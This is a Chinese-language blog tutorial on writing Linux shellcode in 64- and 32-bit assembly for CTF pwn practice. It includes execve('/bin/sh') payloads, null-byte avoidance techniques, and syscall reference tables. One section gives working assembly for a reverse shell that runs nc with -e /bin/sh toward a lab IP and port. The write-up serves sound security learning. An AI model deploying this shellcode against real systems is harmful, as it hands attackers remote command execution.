# 前言

​ 这里先贴上 ZIKH26 师傅的 bolg 用汇编语言构造简单的 shellcode(64 位 &&32 位)以及将汇编语言转换成机器码的方法 | ZIKH26's Blog,话说真的有从这个地方入门 pwn 的吗😹,可怜的 web 手上来被 pwn 师傅劝退,这里只是在学习的过程中浅浅的记录一下,如同标题一样,水货满满😿

# Shell or Webshell?

​ 当然作为一个 web 手,说起来 shell 我第一反应还是 webshell。所以当 pwn 师傅告诉我去搓一个 shellcode 的时候,只能说我答应的很快,但是开始搓的时候,,,问题不大不,“广大青年要保持初生牛犊不怕虎的劲头,不懂就学,不会就练,没有条件就努力创造条件”。听习大大的没毛病。既然都到这了就简单说一下这三者:

  1. Shell:简单来说就是一个命令行的解释器,它接受用户输入的文本命令并将其传递给操作系统内核执行 ,一般是操作系统提供给用户的一种可以控制和管理计算机的接口。
  2. WebShell:它是一种以 asp,php,jsp 或者 cgi 等文件存在的一种可以进行命令执行的一种环境,这个环境中可以使用 shell,一般是在一个网站被攻陷后,被上传的一种提供远程与计算机和服务器进行交互的环境,通常是一种 web 应用程序漏洞的结果。
  3. ShellCode:它通常是攻击者利用漏洞或者其他手段来注入到受害者系统中的一小段 16 进制的机器码,作用一般也是用来远程的控制计算机和服务器,和 webshell 的效果很相似,但是表现形式略有不同

在本篇中主要是来学习一下 ShellCode 的编写

# 前置知识

# 系统调用

​ 计算机各种的硬件资源都不是无限的,为了提高计算机的使用效率就需要对各种资源进行分配管理,用户进程是不允许直接操作和访问这些资源的,所有对这些资源的访问都需要再操作系统的控制下,系统调用实际上就是为用户态的进程提供的与硬件资源的交互接口。它实际上就是函数调用,不过调用的是出于内核态的系统函数

# 系统调用号

image-20230926181606188

唯一标识系统调用的 ID,这个 ID 就是系统调用号如上图中再文件 /usr/include/x86_64-linux-gnu/asm/unistd_32.h 中存放的 32 为系统的调用号,当然 64 为的同样也有在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h

image-20230926181740116

# 系统调用表

系统调用程序 system_call 会查找系统调用表以获得系统调用号对应的系统调用并执行,详细的表看文末

# 64 位编写 shellcode

​ 基础知识这个地方其实我一直没想好该怎么写,汇编严格意义上来说也算是基础,因为本身也是初学者,所以我一直想把这些东西写的详细一点,以便我后来翻阅,但是这个并不是三言两语就能够写好的,还是要看平时的积累,这里也不在啰嗦

在这里我的目的不是诗和远方,我只需要一个代码执行或者一个命令执行的入口,这里就先搓一个 execve (“/bin/sh”,0,0)

image-20230926203631525

这里想要使用这个函数,rax 要为 0x3b(这个对应的是系统调用号),三个参数分别放到寄存器的 rdi,rsi,rdx 中,这里可以翻阅文末的系统调用表,所以接下来要做的事情就比较明了了

将 0x3b 放入 rax 后通过 syscall 就可以调用到 execve 函数,然后通过给 rdi,rsi,rdx 压入值来实现调用,先看下面这段汇编

section .text
global _start
_start:
xor rsi,rsi
xor rdx,rdx  #rdx和rsi存入0
mov rax,0x68732f6e69622f  #/bin/sh存入rax
push rax
push rsp	#将rax的地址压入栈中
pop rdi
push 0x3b
pop rax
syscall

image-20231003111345277

这样似乎就已经完成了一个简单的 shellcode 的编写

mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi

值得注意的是,这里存入 rdi 的并不是 ascii 码,而是其对应的地址,如果这里直接

mov rdi,0x68732f6e69622f

看起来好像很合理且比上面要精简很多,但是看下面的两张图

image-20231003111754843

这里张图是 “精简” 的写法

image-20231003111836194

这张图是原本的写法,很显然所谓 “精简” 的写法是不能正确的执行的,这里很明显,我们需要存入 rdi 的不是 /bin/sh 对应的 ascii 码,我们要将 /bin/sh 对应的 ascii 码的地址存入 rdi

还值得注意的是 rsi 和 rdx 都需要存为 0,但是上面并没有使用 mov 来实现,而是使用了 xor,这里是一个有趣的现象,在 ZIKH26 师傅的文章中是这样解释的:

  1. 避免出现 \x00 字符来截断,当然了 \x00 并不是所有情况都会截断函数,只有用 strcpy 这类函数时才会考虑 \x00 截断
  2. xor rsi,rsimov rsi,0 所需的字节数更少

对于第一点可以看一下下面这个表

函数截断字符截断属性截断字符是否保留截断后加
read(0,a,0x100)EOF
*a = getchar()EOF
scanf("%c",a)EOF
scanf("%s",a)EOF 0x09 0x0A 0x0B 0x0C 0x0D 0x20截断字符前有有效内容则截断,如无有效内容则跳过截断字符读后面不保留0x00
sscanf(a,"%s",b)0x00 0x09 0x0A 0x0B 0x0C 0x0D 0x20截断字符前有有效内容则截断,如无有效内容则跳过截断字符读后面不保留0x00
gets(a)EOF 0x0A截断字符前无论有无有效内容均截断不保留0x00
fgets(a,256,stdin)EOF 0x0A截断字符前无论有无有效内容均截断保留0x00
sscanf(a,"%[^;];",b)0x00 0x3B不保留0x00
sprintf(b,"%s",a)0x00保留无(相当于截断字符不保留,截断后加 0x00)
strcpy(b,a)0x00保留无(相当于截断字符不保留,截断后加 0x00)
strcat(b,a)0x00保留无(相当于截断字符不保留,截断后加 0x00)
strncat(b,a,0x10)0x00保留无(相当于截断字符不保留,截断后加 0x00)
strncat(b,a,0x10)到达拷贝长度保留如果到达拷贝长度,则自动补上 0x00
来自 [CTF 中常见的 C 语言输入函数截断属性总结Clang 裁缝店 (xuanxuanblingbling.github.io)](https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/16/input/)

对于第二点,首先是使用 xor 的

image-20231003104846736

然后对比一下使用 mov 的

image-20231003104935137

这里就已经可以可以这个 shellcode 去拿到一个 shell 了,但是这里当我在尝试去执行 execve (“/bin/pwd”,0,0) 的时候却报错了

section .text
global _start
_start:
xor rsi,rsi
xor rdx,rdx
mov rax,0x6477702f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
syscall

image-20231003121312663

这里调试看一下最后函数调用的地方

image-20231003121227184

看起来似乎很合理但是不能正常运行,原因同样在 ZIKH26 师傅的文章中也能找到答案,之前使用的 /bin/sh 命令是 7 个字节,程序发现了我们这个内存单元的内容不够八字节,它会自己帮我们添加一个 00 上去以来凑齐八字节,这个 00 刚好就用来声明字符串的结束,很显然这次我们使用的命令 /bin/pwd 本身就已经是 8 个字节了,我们就需要去栈中存入一个 0 来声明字符串的结束

section .text
global _start
_start:
xor rsi,rsi
xor rdx,rdx
push rdx
mov rax,0x6477702f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
syscall

image-20231003121934063

很显然这里就成功了

当遇到 strcpy 等函数 shellcode 会被截断,上面的 /bin/sh 可以用 /bin//sh 来代替

写到这里我其实还有一个疑问,如果命令长度大于 8 个字节呢?这里会放到 32 位 shellcode 后面,因为处理方式就在 32 位的记录中有答案

# 32 位编写 shellcode

如果说前面的 64 位的已经掌握,其实 32 位的 shellcode 基本相似,不过这里最后使用的系统调用不是 syscall,而是 int 0x80

第一步,就是需要将系统调用号存入 eax。

第二步,ebx 用于保存函数调用的第一个参数(ecx 存放第二个参数,edx 存放第三个参数,esi 存放第四个参数,edi 存放第五个参数)

image-20231003124415027

查询系统调用表,可以看到这里 execve 的系统调用号是 11,三个参数分别使用寄存器 ebx ecx edx

section .text
global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f #/bin
push 0x6e69622f	#//sh
mov ebx,esp
push 0x0b
pop eax
int 0x80

唯一的区别是这里不能一次将所有的命令都压入栈中,而是分了两次把最上面那个的地址取出来就行了,组合起来就是连续的

# 拓展

如果这里想要执行的命令这里先尝试一下 execve (“/bin/whoami”,0,0)

很显然直接

mov rax,0x696d616f68772f6e69622f

是行不通的,但是可以参考 32 位的写法,压多次全部存到栈上

section .text
global _start
_start:
xor rsi,rsi
push rsi
mov rdx,0x696d61
push rdx
mov rdx,0x6f68772f6e69622f
push rdx
mov rdi,rsp
push 0x3b
pop rax
xor rdx,rdx
syscall

值得注意的是,这里后入栈的需要将 8 字节填满防止被自动填充的 00 截断

# 反弹 shell (命令执行)

上面算是最基础的用法了吧,但是前面都是没有参数的命令,下面来尝试进行反弹 shell,这里就用最常见的 nc 来测试 /bin/nc 192.168.246.129 2444 -e /bin/sh

section .text
global _start
_start:
;execve("/bin/nc",{"/bin/nc","192.168.246.129","2444","-e","/bin/sh"},0)
;636e2f6e69622f ;/bin/nc
;3932312e3634322e3836312e323931 ;192.168.246.129
;68732f6e69622f ;/bin/sh
;34343432 ;2444
;652d ;-e
xor rsi,rsi

push rsi
mov rbx,0x68732f6e69622f;/bin/sh
push rbx
push rsp
pop rbx

push rsi
mov rbp,0x652d;-e
push rbp
push rsp
pop rbp

push rsi
mov rcx,0x34343432;2444
push rcx
push rsp
pop rcx

push rsi
mov rdx,0x3932312e363432
push rdx
mov rdx,0x2e3836312e323931;ip
push rdx
push rsp
pop rdx

push rsi 
mov rdi,0x636e2f6e69622f;/bin/nc
push rdi 
push rsp
pop rdi

push rsi
push rbx
push rbp
push rcx
push rdx
push rdi
mov rsi,rsp

xor rdx,rdx
push 0x3b
pop rax
syscall

image-20231003174705992

值得一提的是 execve 函数中 argv 是提供给程序的参数字符串数组,通常情况下 argv [0] 需要与第一个参数 filename 中的 basename 相同

# 系统调用表

来源

Linux system call table 정리(32bit, 64bit) (tistory.com)

# 在 64 位系统中

syscall numbersyscall%rax%rdi%rsi%rdx%rcx%r8%r9
0sys_read0x0unsigned int fdchar *bufsize_t count
1sys_write0x1unsigned int fdconst char *bufsize_t count
2sys_open0x2const char *filenameint flagsint mode
3sys_close0x3unsigned int fd
4sys_stat0x4const char *filenamestruct stat *statbuf
5sys_fstat0x5unsigned int fdstruct stat *statbuf
6sys_lstat0x6fconst char *filenamestruct stat *statbuf
7sys_poll0x7struct poll_fd *ufdsunsigned int nfdslong timeout_msecs
8sys_lseek0x8unsigned int fdoff_t offsetunsigned int origin
9sys_mmap0x9unsigned long addrunsigned long lenunsigned long protunsigned long flagsunsigned long fdunsigned long off
10sys_mprotect0xAunsigned long startsize_t lenunsigned long prot
11sys_munmap0xBunsigned long addrsize_t len
12sys_brk0xCunsigned long brk
13sys_rt_sigaction0xDint sigconst struct sigaction *actstruct sigaction *oactsize_t sigsetsize
14sys_rt_sigprocmask0xEint howsigset_t *nsetsigset_t *osetsize_t sigsetsize
15sys_rt_sigreturn0xFunsigned long __unused
16sys_ioctl0x10unsigned int fdunsigned int cmdunsigned long arg
17sys_pread640x11unsigned long fdchar *bufsize_t countloff_t pos
18sys_pwrite640x12unsigned int fdconst char *bufsize_t countloff_t pos
19sys_readv0x13unsigned long fdconst struct iovec *vecunsigned long vlen
20sys_writev0x14unsigned long fdconst struct iovec *vecunsigned long vlen
21sys_access0x15const char *filenameint mode
22sys_pipe0x16int *filedes
23sys_select0x17int nfd_set *inpfd_set *outpfd_set*expstruct timeval *tvp
24sys_sched_yield0x18
25sys_mremap0x19unsigned long addrunsigned long old_lenunsigned long new_lenunsigned long flagsunsigned long new_addr
26sys_msync0x1Aunsigned long startsize_t lenint flags
27sys_mincore0x1Bunsigned long startsize_t lenunsigned char *vec
28sys_madvise0x1Cunsigned long startsize_t len_inint behavior
29sys_shmget0x1Dkey_t keysize_t sizeint shmflg
30sys_shmat0x1Eint shmidchar *shmaddrint shmflg
31sys_shmctl0x1Fint shmidint cmdstruct shmid_ds *buf
32sys_dup0x20unsigned int fildes
33sys_dup20x21unsigned int oldfdunsigned int newfd
34sys_pause0x22
35sys_nanosleep0x23struct timespec *rqtpstruct timespec *rmtp
36sys_getitimer0x24int whichstruct itimerval *value
37sys_alarm0x25unsigned int seconds
38sys_setitimer0x26int whichstruct itimerval *valuestruct itimerval *ovalue
39sys_getpid0x27
40sys_sendfile0x28int out_fdint in_fdoff_t *offsetsize_t count
41sys_socket0x29int familyint typeint protocol
42sys_connect0x2Aint fdstruct sockaddr *uservaddrint addrlen
43sys_accept0x2Bint fdstruct sockaddr *upeer_sockaddrint *upeer_addrlen
44sys_sendto0x2Cint fdvoid *buffsize_t lenunsigned flagsstruct sockaddr *addrint addr_len
45sys_recvfrom0x2Dint fdvoid *ubufsize_t sizeunsigned flagsstruct sockaddr *addrint *addr_len
46sys_sendmsg0x2Eint fdstruct msghdr *msgunsigned flags
47sys_recvmsg0x2Fint fdstruct msghdr *msgunsigned int flags
48sys_shutdown0x30int fdint how
49sys_bind0x31int fdstruct sokaddr *umyaddrint addrlen
50sys_listen0x32int fdint backlog
51sys_getsockname0x33int fdstruct sockaddr *usockaddrint *usockaddr_len
52sys_getpeername0x34int fdstruct sockaddr *usockaddrint *usockaddr_len
53sys_socketpair0x35int familyint typeint protocolint *usockvec
54sys_setsockopt0x36int fdint levelint optnamechar *optvalint optlen
55sys_getsockopt0x37int fdint levelint optnamechar *optvalint *optlen
56sys_clone0x38unsigned long clone_flagsunsigned long newspvoid *parent_tidvoid *child_tid
57sys_fork0x39
58sys_vfork0x3A
59sys_execve0x3Bconst char *filenameconst char *const argv[]const char *const envp[]
60sys_exit0x3Cint error_code
61sys_wait40x3Dpid_t upidint *stat_addrint optionsstruct rusage *ru
62sys_kill0x3Epid_t pidint sig
63sys_uname0x3Fstruct old_utsname *name
64sys_semget0x40key_t keyint nsemsint semflg
65sys_semop0x41int semidstruct sembuf *tsopsunsigned nsops
66sys_semctl0x42int semidint semnumint cmdunion semun arg
67sys_shmdt0x43char *shmaddr
68sys_msgget0x44key_t keyint msgflg
69sys_msgsnd0x45int msqidstruct msgbuf *msgpsize_t msgszint msgflg
70sys_msgrcv0x46int msqidstruct msgbuf *msgpsize_t msgszlong msgtypint msgflg
71sys_msgctl0x47int msqidint cmdstruct msqid_ds *buf
72sys_fcntl0x48unsigned int fdunsigned int cmdunsigned long arg
73sys_flock0x49unsigned int fdunsigned int cmd
74sys_fsync0x4Aunsigned int fd
75sys_fdatasync0x4Bunsigned int fd
76sys_truncate0x4Cconst char *pathlong length
77sys_ftruncate0x4Dunsigned int fdunsigned long length
78sys_getdents0x4Eunsigned int fdstruct linux_dirent *direntunsigned int count
79sys_getcwd0x4Fchar *bufunsigned long size
80sys_chdir0x50const char *filename
81sys_fchdir0x51unsigned int fd
82sys_rename0x52const char *oldnameconst char *newname
83sys_mkdir0x53const char *pathnameint mode
84sys_rmdir0x54const char *pathname
85sys_creat0x55const char *pathnameint mode
86sys_link0x56const char *oldnameconst char *newname
87sys_unlink0x57const char *pathname
88sys_symlink0x58const char *oldnameconst char *newname
89sys_readlink0x59const char *pathchar *bufint bufsiz
90sys_chmod0x5Aconst char *filenamemode_t mode
91sys_fchmod0x5Bunsigned int fdmode_t mode
92sys_chown0x5Cconst char *filenameuid_t usergit_t group
93sys_fchown0x5Dunsigned int fduid_t usergit_t group
94sys_lchown0x5Econst char *filenameuid_t usergit_t group
95sys_umask0x5Fint mask
96sys_gettimeofday0x60struct timeval *tvstruct timezone *tz
97sys_getrlimit0x61unsigned int resourcestruct rlimit *rlim
98sys_getrusage0x62int whostruct rusage *ru
99sys_sysinfo0x63struct sysinfo *info
100sys_times0x64struct sysinfo *info
101sys_ptrace0x65long requestlong pidunsigned long addrunsigned long data
102sys_getuid0x66
103sys_syslog0x67int typechar *bufint len
104sys_getgid0x68
105sys_setuid0x69uid_t uid
106sys_setgid0x6Agit_t gid
107sys_geteuid0x6B
108sys_getegid0x6C
109sys_setpgid0x6Dpid_t pidpid_t pgid
110sys_getppid0x6E
111sys_getpgrp0x6F
112sys_setsid0x70
113sys_setreuid0x71uid_t ruiduid_t euid
114sys_setregid0x72git_t rgidgid_t egid
115sys_getgroups0x73int gidsetsizegid_t *grouplist
116sys_setgroups0x74int gidsetsizegid_t *grouplist
117sys_setresuid0x75uid_t *ruiduid_t *euiduid_t *suid
118sys_getresuid0x76uid_t *ruiduid_t *euiduid_t *suid
119sys_setresgid0x77gid_t rgidgid_t egidgid_t sgid
120sys_getresgid0x78git_t *rgidgit_t *egidgit_t *sgid
121sys_getpgid0x79pid_t pid
122sys_setfsuid0x7Auid_t uid
123sys_setfsgid0x7Bgid_t gid
124sys_getsid0x7Cpid_t pid
125sys_capget0x7Dcap_user_header_t headercap_user_data_t dataptr
126sys_capset0x7Ecap_user_header_t headerconst cap_user_data_t data
127sys_rt_sigpending0x7Fsigset_t *setsize_t sigsetsize
128sys_rt_sigtimedwait0x80const sigset_t *uthesesiginfo_t *uinfoconst struct timespec *utssize_t sigsetsize
129sys_rt_sigqueueinfo0x81pid_t pidint sigsiginfo_t *uinfo
130sys_rt_sigsuspend0x82sigset_t *unewsetsize_t sigsetsize
131sys_sigaltstack0x83const stack_t *ussstack_t *uoss
132sys_utime0x84char *filenamestruct utimbuf *times
133sys_mknod0x85const char *filenameint modeunsigned dev
134sys_uselib0x86NOT IMPLEMENTED
135sys_personality0x87unsigned int personality
136sys_ustat0x88unsigned devstruct ustat *ubuf
137sys_statfs0x89const char *pathnamestruct statfs *buf
138sys_fstatfs0x8Aunsigned int fdstruct statfs *buf
139sys_sysfs0x8Bint optionunsigned long arg1unsigned long arg2
140sys_getpriority0x8Cint whichint who
141sys_setpriority0x8Dint whichint whoint niceval
142sys_sched_setparam0x8Epid_t pidstruct sched_param *param
143sys_sched_getparam0x8Fpid_t pidstruct sched_param *param
144sys_sched_setscheduler0x90pid_t pidint policystruct sched_param *param
145sys_sched_getscheduler0x91pid_t pid
146sys_sched_get_priority_max0x92int policy
147sys_sched_get_priority_min0x93int policy
148sys_sched_rr_get_interval0x94pid_t pidstruct timespec *interval
149sys_mlock0x95unsigned long startsize_t len
150sys_munlock0x96unsigned long startsize_t len
151sys_mlockall0x97int flags
152sys_munlockall0x98
153sys_vhangup0x99
154sys_modify_ldt0x9Aint funcvoid *ptrunsigned long bytecount
155sys_pivot_root0x9Bconst char *new_rootconst char *put_old
156sys__sysctl0x9Cstruct __sysctl_args *args
157sys_prctl0x9Dint optionunsigned long arg2unsigned long arg3unsigned long arg4unsigned long arg5
158sys_arch_prctl0x9Estruct task_struct *taskint codeunsigned long *addr
159sys_adjtimex0x9Fstruct timex *txc_p
160sys_setrlimit0xA0unsigned int resourcestruct rlimit *rlim
161sys_chroot0xA1const char *filename
162sys_sync0xA2
163sys_acct0xA3const char *name
164sys_settimeofday0xA4struct timeval *tvstruct timezone *tz
165sys_mount0xA5char *dev_namechar *dir_namechar *typeunsigned long flagsvoid *data
166sys_umount20xA6const char *targetint flags
167sys_swapon0xA7const char *specialfileint swap_flags
168sys_swapoff0xA8const char *specialfile
169sys_reboot0xA9int magic1int magic2unsigned int cmdvoid *arg
170sys_sethostname0xAAchar *nameint len
171sys_setdomainname0xABchar *nameint len
172sys_iopl0xACunsigned int levelstruct pt_regs *regs
173sys_ioperm0xADunsigned long fromunsigned long numint turn_on
174sys_create_module0xAEREMOVED IN Linux 2.6
175sys_init_module0xAFvoid *umodunsigned long lenconst char *uargs
176sys_delete_module0xB0const chat *name_userunsigned int flags
177sys_get_kernel_syms0xB1REMOVED IN Linux 2.6
178sys_query_module0xB2REMOVED IN Linux 2.6
179sys_quotactl0xB3unsigned int cmdconst char *specialqid_t idvoid *addr
180sys_nfsservctl0xB4NOT IMPLEMENTED
181sys_getpmsg0xB5NOT IMPLEMENTED
182sys_putpmsg0xB6NOT IMPLEMENTED
183sys_afs_syscall0xB7NOT IMPLEMENTED
184sys_tuxcall0xB8NOT IMPLEMENTED
185sys_security0xB9NOT IMPLEMENTED
186sys_gettid0xBA
187sys_readahead0xBBint fdloff_t offsetsize_t count
188sys_setxattr0xBCconst char *pathnameconst char *nameconst void *valuesize_t sizeint flags
189sys_lsetxattr0xBDconst char *pathnameconst char *nameconst void *valuesize_t sizeint flags
190sys_fsetxattr0xBEint fdconst char *nameconst void *valuesize_t sizeint flags
191sys_getxattr0xBFconst char *pathnameconst char *namevoid *valuesize_t size
192sys_lgetxattr0xC0const char *pathnameconst char *namevoid *valuesize_t size
193sys_fgetxattr0xC1int fdconst har *namevoid *valuesize_t size
194sys_listxattr0xC2const char *pathnamechar *listsize_t size
195sys_llistxattr0xC3const char *pathnamechar *listsize_t size
196sys_flistxattr0xC4int fdchar *listsize_t size
197sys_removexattr0xC5const char *pathnameconst char *name
198sys_lremovexattr0xC6const char *pathnameconst char *name
199sys_fremovexattr0xC7int fdconst char *name
200sys_tkill0xC8pid_t piding sig
201sys_time0xC9time_t *tloc
202sys_futex0xCAu32 *uaddrint opu32 valstruct timespec *utimeu32 *uaddr2u32 val3
203sys_sched_setaffinity0xCBpid_t pidunsigned int lenunsigned long *user_mask_ptr
204sys_sched_getaffinity0xCCpid_t pidunsigned int lenunsigned long *user_mask_ptr
205sys_set_thread_area0xCDNOT IMPLEMENTED. Use arch_prctl
206sys_io_setup0xCEunsigned nr_eventsaio_context_t *ctxp
207sys_io_destroy0xCFaio_context_t ctx
208sys_io_getevents0xD0aio_context_t ctx_idlong min_nrlong nrstruct io_event *events
209sys_io_submit0xD1aio_context_t ctx_idlong nrstruct iocb **iocbpp
210sys_io_cancel0xD2aio_context_t ctx_idstruct iocb *iocbstruct io_event *result
211sys_get_thread_area0xD3NOT IMPLEMENTED. Use arch_prctl
212sys_lookup_dcookie0xD4u64 cookie64long buflong len
213sys_epoll_create0xD5int size
214sys_epoll_ctl_old0xD6NOT IMPLEMENTED
215sys_epoll_wait_old0xD7NOT IMPLEMENTED
216sys_remap_file_pages0xD8unsigned long startunsigned long sizeunsigned long protunsigned long pgoffunsigned long flags
217sys_getdents640xD9unsigned int fdstruct linux_dirent64 *direntunsigned int count
218sys_set_tid_address0xDAint *tidptr
219sys_restart_syscall0xDB
220sys_semtimedop0xDCint semidstruct sembuf *tsopsunsigned nsopsconst struct timespec *timeout
221sys_fadvise640xDDint fdloff_t offsetsize_t lenint advice
222sys_timer_create0xDEconst clockid_t which_clockstruct sigevent *timer_event_spectimer_t *created_timer_id
223sys_timer_settime0xDFtimer_t timer_idint flagsconst struct itimerspec *new_settingstruct itimerspec *old_setting
224sys_timer_gettime0xE0timer_t timer_idstruct itimerspec *setting
225sys_timer_getoverrun0xE1timer_t timer_id
226sys_timer_delete0xE2timer_t timer_id
227sys_clock_settime0xE3const clockid_t which_clockconst struct timespec *tp
228sys_clock_gettime0xE4const clockid_t which_clockstruct timespec *tp
229sys_clock_getres0xE5const clockid_t which_clockstruct timespec *tp
230sys_clock_nanosleep0xE6const clockid_t which_clockint flagsconst struct timespec *rqtpstruct timespec *rmtp
231sys_exit_group0xE7int error_code
232sys_epoll_wait0xE8int epfdstruct epoll_event *eventsint maxeventsint timeout
233sys_epoll_ctl0xE9int epfdint opint fdstruct epoll_event *event
234sys_tgkill0xEApid_t tgidpid_t pidint sig
235sys_utimes0xEBchar *filenamestruct timeval *utimes
236sys_vserver0xECNOT IMPLEMENTED
237sys_mbind0xEDunsigned long startunsigned long lenunsigned long modeunsigned long *nmaskunsigned long maxnodeunsigned flags
238sys_set_mempolicy0xEEint modeunsigned long *nmaskunsigned long maxnode
239sys_get_mempolicy0xEFint *policyunsigned long *nmaskunsigned long maxnodeunsigned long addrunsigned long flags
240sys_mq_open0xF0const char *u_nameint oflagmode_t modestruct mq_attr *u_attr
241sys_mq_unlink0xF1const char *u_name
242sys_mq_timedsend0xF2mqd_t mqdesconst char *u_msg_ptrsize_t msg_lenunsigned int msg_prioconst stuct timespec *u_abs_timeout
243sys_mq_timedreceive0xF3mqd_t mqdeschar *u_msg_ptrsize_t msg_lenunsigned int *u_msg_prioconst struct timespec *u_abs_timeout
244sys_mq_notify0xF4mqd_t mqdesconst struct sigevent *u_notification
245sys_mq_getsetattr0xF5mqd_t mqdesconst struct mq_attr *u_mqstatstruct mq_attr *u_omqstat
246sys_kexec_load0xF6unsigned long entryunsigned long nr_segmentsstruct kexec_segment *segmentsunsigned long flags
247sys_waitid0xF7int whichpid_t upidstruct siginfo *infopint optionsstruct rusage *ru
248sys_add_key0xF8const char *_typeconst char *_descriptionconst void *_payloadsize_t plen
249sys_request_key0xF9const char *_typeconst char *_descriptionconst char *_callout_infokey_serial_t destringid
250sys_keyctl0xFAint optionunsigned long arg2unsigned long arg3unsigned long arg4unsigned long arg5
251sys_ioprio_set0xFBint whichint whoint ioprio
252sys_ioprio_get0xFCint whichint who
253sys_inotify_init0xFD
254sys_inotify_add_watch0xFEint fdconst char *pathnameu32 mask
255sys_inotify_rm_watch0xFFint fd__s32 wd
256sys_migrate_pages0x100pid_t pidunsigned long maxnodeconst unsigned long *old_nodesconst unsigned long *new_nodes
257sys_openat0x101int dfdconst char *filenameint flagsint mode
258sys_mkdirat0x102int dfdconst char *pathnameint mode
259sys_mknodat0x103int dfdconst char *filenameint modeunsigned dev
260sys_fchownat0x104int dfdconst char *filenameuid_t usergid_t groupint flag
261sys_futimesat0x105int dfdconst char *filenamestruct timeval *utimes
262sys_newfstatat0x106int dfdconst char *filenamestruct stat *statbufint flag
263sys_unlinkat0x107int dfdconst char *pathnameint flag
264sys_renameat0x108int oldfdconst char *oldnameint newfdconst char *newname
265sys_linkat0x109int oldfdconst char *oldnameint newfdconst char *newnameint flags
266sys_symlinkat0x10Aconst char *oldnameint newfdconst char *newname
267sys_readlinkat0x10Bint dfdconst char *pathnamechar *bufint bufsiz
268sys_fchmodat0x10Cint dfdconst char *filenamemode_t mode
269sys_faccessat0x10Dint dfdconst char *filenameint mode
270sys_pselect60x10Eint nfd_set *inpfd_set *outpfd_set *expstruct timespec *tspvoid *sig
271sys_ppoll0x10Fstruct pollfd *ufdsunsigned int nfdsstruct timespec *tspconst sigset_t *sigmasksize_t sigsetsize
272sys_unshare0x110unsigned long unshare_flags
273sys_set_robust_list0x111struct robust_list_head *headsize_t len
274sys_get_robust_list0x112int pidstruct robust_list_head **head_ptrsize_t *len_ptr
275sys_splice0x113int fd_inloff_t *off_inint fd_outloff_t *off_outsize_t lenunsigned int flags
276sys_tee0x114int fdinint fdoutsize_t lenunsigned int flags
277sys_sync_file_range0x115long fdloff_t offsetloff_t byteslong flags
278sys_vmsplice0x116int fdconst struct iovec *iovunsigned long nr_segsunsigned int flags
279sys_move_pages0x117pid_t pidunsigned long nr_pagesconst void **pagesconst int *nodesint *statusint flags
280sys_utimensat0x118int dfdconst char *filenamestruct timespec *utimesint flags
281sys_epoll_pwait0x119int epfdstruct epoll_event *eventsint maxeventsint timeoutconst sigset_t *sigmasksize_t sigsetsize
282sys_signalfd0x11Aint ufdsigset_t *user_masksize_t sizemask
283sys_timerfd_create0x11Bint clockidint flags
284sys_eventfd0x11Cunsigned int count
285sys_fallocate0x11Dlong fdlong modeloff_t offsetloff_t len
286sys_timerfd_settime0x11Eint ufdint flagsconst struct itimerspec *utmrstruct itimerspec *otmr
287sys_timerfd_gettime0x11Fint ufdstruct itimerspec *otmr
288sys_accept40x120int fdstruct sockaddr *upeer_sockaddrint *upeer_addrlenint flags
289sys_signalfd40x121int ufdsigset_t *user_masksize_t sizemaskint flags
290sys_eventfd20x122unsigned int countint flags
291sys_epoll_create10x123int flags
292sys_dup30x124unsigned int oldfdunsigned int newfdint flags
293sys_pipe20x125int *filedesint flags
294sys_inotify_init10x126int flags
295sys_preadv0x127unsigned long fdconst struct iovec *vecunsigned long vlenunsigned long pos_lunsigned long pos_h
296sys_pwritev0x128unsigned long fdconst struct iovec *vecunsigned long vlenunsigned long pos_lunsigned long pos_h
297sys_rt_tgsigqueueinfo0x129pid_t tgidpid_t pidint sigsiginfo_t *uinfo
298sys_perf_event_open0x12Astruct perf_event_attr *attr_uptrpid_t pidint cpuint group_fdunsigned long flags
299sys_recvmmsg0x12Bint fdstruct msghdr *mmsgunsigned int vlenunsigned int flagsstruct timespec *timeout
300sys_fanotify_init0x12Cunsigned int flagsunsigned int event_f_flags
301sys_fanotify_mark0x12Dlong fanotify_fdlong flags__u64 masklong dfdlong pathname
302sys_prlimit640x12Epid_t pidunsigned int resourceconst struct rlimit64 *new_rlimstruct rlimit64 *old_rlim
303sys_name_to_handle_at0x12Fint dfdconst char *namestruct file_handle *handleint *mnt_idint flag
304sys_open_by_handle_at0x130int dfdconst char *namestruct file_handle *handleint *mnt_idint flags
305sys_clock_adjtime0x131clockid_t which_clockstruct timex *tx
306sys_syncfs0x132int fd
307sys_sendmmsg0x133int fdstruct mmsghdr *mmsgunsigned int vlenunsigned int flags
308sys_setns0x134int fdint nstype
309sys_getcpu0x135unsigned *cpupunsigned *nodepstruct getcpu_cache *unused
310sys_process_vm_readv0x136pid_t pidconst struct iovec *lvecunsigned long liovcntconst struct iovec *rvecunsigned long riovcntunsigned long flags
311sys_process_vm_writev0x137pid_t pidconst struct iovec *lvecunsigned long liovcntconst struct iovcc *rvecunsigned long riovcntunsigned long flags

# 在 32 位系统中

NRsyscall%eaxarg0 (%ebx)arg1 (%ecx)arg2 (%edx)arg3 (%esi)arg4 (%edi)arg5 (%ebp)
0restart_syscall0x00------
1exit0x01int error_code-----
2fork0x02------
3read0x03unsigned int fdchar *bufsize_t count---
4write0x04unsigned int fdconst char *bufsize_t count---
5open0x05const char *filenameint flagsumode_t mode---
6close0x06unsigned int fd-----
7waitpid0x07pid_t pidint *stat_addrint options---
8creat0x08const char *pathnameumode_t mode----
9link0x09const char *oldnameconst char *newname----
10unlink0x0aconst char *pathname-----
11execve0x0bconst char *filenameconst char *const *argvconst char *const *envp---
12chdir0x0cconst char *filename-----
13time0x0dtime_t *tloc-----
14mknod0x0econst char *filenameumode_t modeunsigned dev---
15chmod0x0fconst char *filenameumode_t mode----
16lchown0x10const char *filenameuid_t usergid_t group---
17break0x11??????
18oldstat0x12??????
19lseek0x13unsigned int fdoff_t offsetunsigned int whence---
20getpid0x14------
21mount0x15char *dev_namechar *dir_namechar *typeunsigned long flagsvoid *data-
22umount0x16char *nameint flags----
23setuid0x17uid_t uid-----
24getuid0x18------
25stime0x19time_t *tptr-----
26ptrace0x1along requestlong pidunsigned long addrunsigned long data--
27alarm0x1bunsigned int seconds-----
28oldfstat0x1c??????
29pause0x1d------
30utime0x1echar *filenamestruct utimbuf *times----
31stty0x1f??????
32gtty0x20??????
